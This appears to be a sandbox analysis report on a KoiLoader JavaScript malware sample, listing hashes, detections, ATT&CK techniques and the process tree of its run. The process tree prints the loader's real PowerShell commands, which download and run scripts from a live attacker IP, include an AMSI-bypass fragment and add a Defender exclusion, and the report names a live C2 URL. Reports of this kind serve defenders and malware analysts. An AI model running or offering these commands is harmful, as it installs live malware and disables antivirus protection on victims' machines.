koiloader | a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

General

Target

a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1.js
Size

1KB
MD5

efcc96851f4724909616b5f3ec81cf79
SHA1

783d14e21e058733ef6cc6ca1e934bcf2533d134
SHA256

a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1
SHA512

c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Score

10^/10

koiloader discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://79.124.78.109/wp-includes/phyllopodan7V7GD.php

exe.dropper

http://79.124.78.109/wp-includes/barasinghaby.ps1

Extracted

Family

koiloader

C2

http://79.124.78.109/flocking.php

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/508-26-0x00000000084B0000-0x00000000084BD000-memory.dmp	family_koi_loader

Blocklisted process makes network request 4 IoCs

flow	pid	Process
14	508	powershell.exe
16	508	powershell.exe
20	3684	powershell.exe
38	508	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3920	powershell.exe
3684	powershell.exe
508	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
508	powershell.exe
508	powershell.exe
3920	powershell.exe
3920	powershell.exe
3684	powershell.exe
3684	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	508	powershell.exe
Token: SeDebugPrivilege	3920	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4436 wrote to memory of 508	4436	wscript.exe	84
PID 4436 wrote to memory of 508	4436	wscript.exe	84
PID 4436 wrote to memory of 508	4436	wscript.exe	84
PID 952 wrote to memory of 2660	952	DllHost.exe	89
PID 952 wrote to memory of 2660	952	DllHost.exe	89
PID 952 wrote to memory of 2660	952	DllHost.exe	89
PID 2660 wrote to memory of 3920	2660	cmd.exe	91
PID 2660 wrote to memory of 3920	2660	cmd.exe	91
PID 2660 wrote to memory of 3920	2660	cmd.exe	91
PID 508 wrote to memory of 2756	508	powershell.exe	93
PID 508 wrote to memory of 2756	508	powershell.exe	93
PID 508 wrote to memory of 2756	508	powershell.exe	93
PID 2756 wrote to memory of 3684	2756	cmd.exe	96
PID 2756 wrote to memory of 3684	2756	cmd.exe	96
PID 2756 wrote to memory of 3684	2756	cmd.exe	96

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'http://79.124.78.109/wp-includes/phyllopodan7V7GD.php'; $l2 = 'http://79.124.78.109/wp-includes/barasinghaby.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zTJRTNUX3VD'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:508
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2756
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command IEX(IWR -UseBasicParsing 'http://79.124.78.109/wp-includes/sd2.ps1')
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3684

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:952
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3920

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rf2cdb6fb-4ab8-4547-9f25-fad1f7a44351r.js"
1⤵
PID:1960

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rf2cdb6fb-4ab8-4547-9f25-fad1f7a44351r.js"
1⤵
PID:4420

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rf2cdb6fb-4ab8-4547-9f25-fad1f7a44351r.js"
1⤵
PID:1984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\rf2cdb6fb-4ab8-4547-9f25-fad1f7a44351r.js

Filesize
1KB

MD5
efcc96851f4724909616b5f3ec81cf79

SHA1
783d14e21e058733ef6cc6ca1e934bcf2533d134

SHA256
a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

SHA512
c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
12afd663b3868c800c1003997ffe2d07

SHA1
edf4f6f003cda925ccca9b1ab9d87b49fe2d7094

SHA256
cc1ef52f658e2bbc71c534547e1a51a9d6ba2b64634f55254939508b9b0e5a45

SHA512
63c5447b6d01f0f3eca62fe0eea8d5e39ed1c1b1d1056944ca67da40518079afe2bfb5d876845f97131faea263def66631ea68795f99cc4e982e3564c91149c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qlbqai2r.45p.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/508-18-0x0000000006050000-0x00000000063A4000-memory.dmp

Filesize
3.3MB

Download
memory/508-24-0x0000000008410000-0x0000000008411000-memory.dmp

Filesize
4KB

Download
memory/508-7-0x0000000005EB0000-0x0000000005F16000-memory.dmp

Filesize
408KB

Download
memory/508-8-0x0000000005F20000-0x0000000005F86000-memory.dmp

Filesize
408KB

Download
memory/508-5-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/508-1-0x000000007469E000-0x000000007469F000-memory.dmp

Filesize
4KB

Download
memory/508-19-0x0000000006680000-0x000000000669E000-memory.dmp

Filesize
120KB

Download
memory/508-20-0x00000000066C0000-0x000000000670C000-memory.dmp

Filesize
304KB

Download
memory/508-21-0x0000000006A60000-0x0000000006A7A000-memory.dmp

Filesize
104KB

Download
memory/508-22-0x0000000007CF0000-0x000000000836A000-memory.dmp

Filesize
6.5MB

Download
memory/508-23-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/508-66-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/508-25-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/508-26-0x00000000084B0000-0x00000000084BD000-memory.dmp

Filesize
52KB

Download
memory/508-4-0x0000000074690000-0x0000000074E40000-memory.dmp

Filesize
7.7MB

Download
memory/508-2-0x0000000002D70000-0x0000000002DA6000-memory.dmp

Filesize
216KB

Download
memory/508-3-0x00000000057E0000-0x0000000005E08000-memory.dmp

Filesize
6.2MB

Download
memory/508-6-0x0000000005E10000-0x0000000005E32000-memory.dmp

Filesize
136KB

Download
memory/508-65-0x000000007469E000-0x000000007469F000-memory.dmp

Filesize
4KB

Download
memory/3684-76-0x00000000086B0000-0x0000000008700000-memory.dmp

Filesize
320KB

Download
memory/3684-75-0x0000000008600000-0x000000000861A000-memory.dmp

Filesize
104KB

Download
memory/3684-74-0x0000000008B70000-0x0000000009114000-memory.dmp

Filesize
5.6MB

Download
memory/3684-77-0x00000000087A0000-0x0000000008832000-memory.dmp

Filesize
584KB

Download
memory/3684-73-0x00000000084B0000-0x00000000084D2000-memory.dmp

Filesize
136KB

Download
memory/3920-51-0x0000000006CC0000-0x0000000006CDE000-memory.dmp

Filesize
120KB

Download
memory/3920-68-0x0000000007070000-0x0000000007084000-memory.dmp

Filesize
80KB

Download
memory/3920-69-0x0000000007170000-0x000000000718A000-memory.dmp

Filesize
104KB

Download
memory/3920-70-0x0000000007150000-0x0000000007158000-memory.dmp

Filesize
32KB

Download
memory/3920-67-0x0000000007060000-0x000000000706E000-memory.dmp

Filesize
56KB

Download
memory/3920-64-0x0000000007030000-0x0000000007041000-memory.dmp

Filesize
68KB

Download
memory/3920-63-0x00000000070B0000-0x0000000007146000-memory.dmp

Filesize
600KB

Download
memory/3920-53-0x0000000006EA0000-0x0000000006EAA000-memory.dmp

Filesize
40KB

Download
memory/3920-52-0x0000000006CF0000-0x0000000006D93000-memory.dmp

Filesize
652KB

Download
memory/3920-41-0x00000000704B0000-0x00000000704FC000-memory.dmp

Filesize
304KB

Download
memory/3920-40-0x0000000006A80000-0x0000000006AB2000-memory.dmp

Filesize
200KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads